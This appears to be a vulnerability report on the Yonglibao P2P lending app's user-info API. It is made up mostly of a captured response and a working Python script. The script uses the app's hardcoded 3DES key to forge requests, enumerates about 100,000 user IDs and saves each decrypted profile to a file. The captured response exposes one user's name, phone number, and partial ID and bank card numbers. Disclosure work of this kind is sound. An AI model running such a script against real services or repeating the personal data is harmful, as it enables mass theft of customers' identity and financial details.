P2P金融安全之永利宝某处缺陷(可批量获取用户信息）

{"s":{"code":1000,"msg":"登陆成功"},"r":{"i":"10002","a":"vicky879","p":"13501790686","e":"321281198301打个码","r":"刘秀莉","v":"1","n":"vicky879","t":"1411898796","j":776,"s":1,"c":"6228480031093打个码","m":"35.91"}}

{"s":{"code":1000,"msg":"/u767b/u9646/u6210/u529f"},"r":{"i":"10023","a":"1","p":"1","e":"1","r":"1","v":"1","n":"vicky879","t":"1411898796","j":1,"s":1,"c":"1","m":"35.91"}}

j46LP7ql4ioXaDd2bCSqjrTtKNFhbgghrUWFA8YPKgEHyNKew6nAdy4zzYG0e2X3syVCizd5KdlFe4vOilk+/wKI4xIamuGoocydtMyxghDc6vyeuC+OM1CEe4VaKIj/uAOA82t62NzZILBSe1x3fHpIVhozwmsspS5d+JwMgJB++ApkeSV+grmigWhDyjTsRqfmBI5hmvmABiJ5a+kmYV6MQqA6yO8P/fh3C4nAb5Y=

POST http://api.yonglibao.com/Apiv7/User/myinfo HTTP/1.1
 User-Agent: Yonglibao_from_A
 X-Wap-Proxy-Cookie: none
 Cookie: CHANNEL=null;APP_VERSION=android_yonglibaoV4.2.2;TERMINAL=android_41A3945A92BD7B1D41B5AE511F7B3835%7C000000000000000;APP_TIME=1458776499779;BDUSS=;
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 Host: api.yonglibao.com
 Connection: Keep-Alive
 Accept-Encoding: gzip
 Content-Length: 311
 
 i=g5BiQ4ozDgD1bu2eNcaOCSrGiBz5resTIaeKKn47xDKY5H6sPFcmXov6S0oN0dsrtpL%2F8rqeJB8M%0AtcKPvkjOf8fU5DHkrvqx0f0GEpaXwq1%2BapEkfGmXifLHQt1IS6wPoVE38AmtW%2BPhBQQb5ugzfl5I%0AMlOYLwGxT6jMb%2FVpOL7qc9md0%2B0A7t3cy7pkaj9Iyy5HfTcmnPcJVFGEsb%2BXGDUaHsIPiyTIjEiT%0AiBwTzzdgUJ9ZIOGaI6lVSPauAVdIv3EIjFXwhwVCN4k4BMINQg%3D%3D%0A&

import pyDes
 import requests
 import base64
 import urllib
 
 key="8daluqp9xm2kw6zs1hta0000"
 
 
 def DES3encrypt(param):
     obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
     d = obj.encrypt(param)
     result=base64.b64encode(d)
     result=urllib.quote_plus(result)
     return result
 def DES3decrypt(param):
     #param=urllib.quote_plus(param)
     param=base64.b64decode(param)
     obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
     result = obj.decrypt(param)
     return result
 
 
 def send (payload):
     headers = {'User-Agent': 'Yonglibao_from_A',"Content-Type":" application/x-www-form-urlencoded; charset=UTF-8"}
     data="i="+payload+"&"
     r = requests.post("http://mo.yonglibao.com/Apiv7/User/myinfo", data=data,headers=headers)
     result=DES3decrypt(r.text)
     return result
 
 
 def start():
     fp=open("1.txt","a")
     for i in range(10000,110100):
         userinfo=""
         param='''{"requesttime":1458728953,"system":"222","u":"33A65921FF60DD89653D1B4BC914AE03|000000000000000","client":"android","version":"yonglibaoV4.2.1","i":'''+str(i)+"}"
         print param
         payload=DES3encrypt(param)
         userinfo=send(payload)
         fp.write(userinfo)
         fp.write("/n")
     fp.close()
 
 param="j46LP7ql4ioXaDd2bCSqjrTtKNFhbgghy/z6YAO6O/cZaeBzwdGhIIZaJqCJJmp84VvNyOXsavFysfuuqJS7waFybTIB9S2On/FEd7ox7uKzh1bLs0fPSsZVOHsqKndH3pOGh371ERKnxdwZg7QRjVlfSifXO26bByD0I574/zHUBNKaOuqbOTluUA2lpDhKWXS4kyibCrS2xtq0m0tBKx3Ja0McPcZXnsXS2aYP5bb/nyy/4yuhE1M74gppnrOEFzZnEH9ALFTedjDBbPJDraTZpRbsbvkg57NTipx7KDu5tGKwHjHs7GnN4Ca4KWmR"
 print DES3decrypt(param)
 start()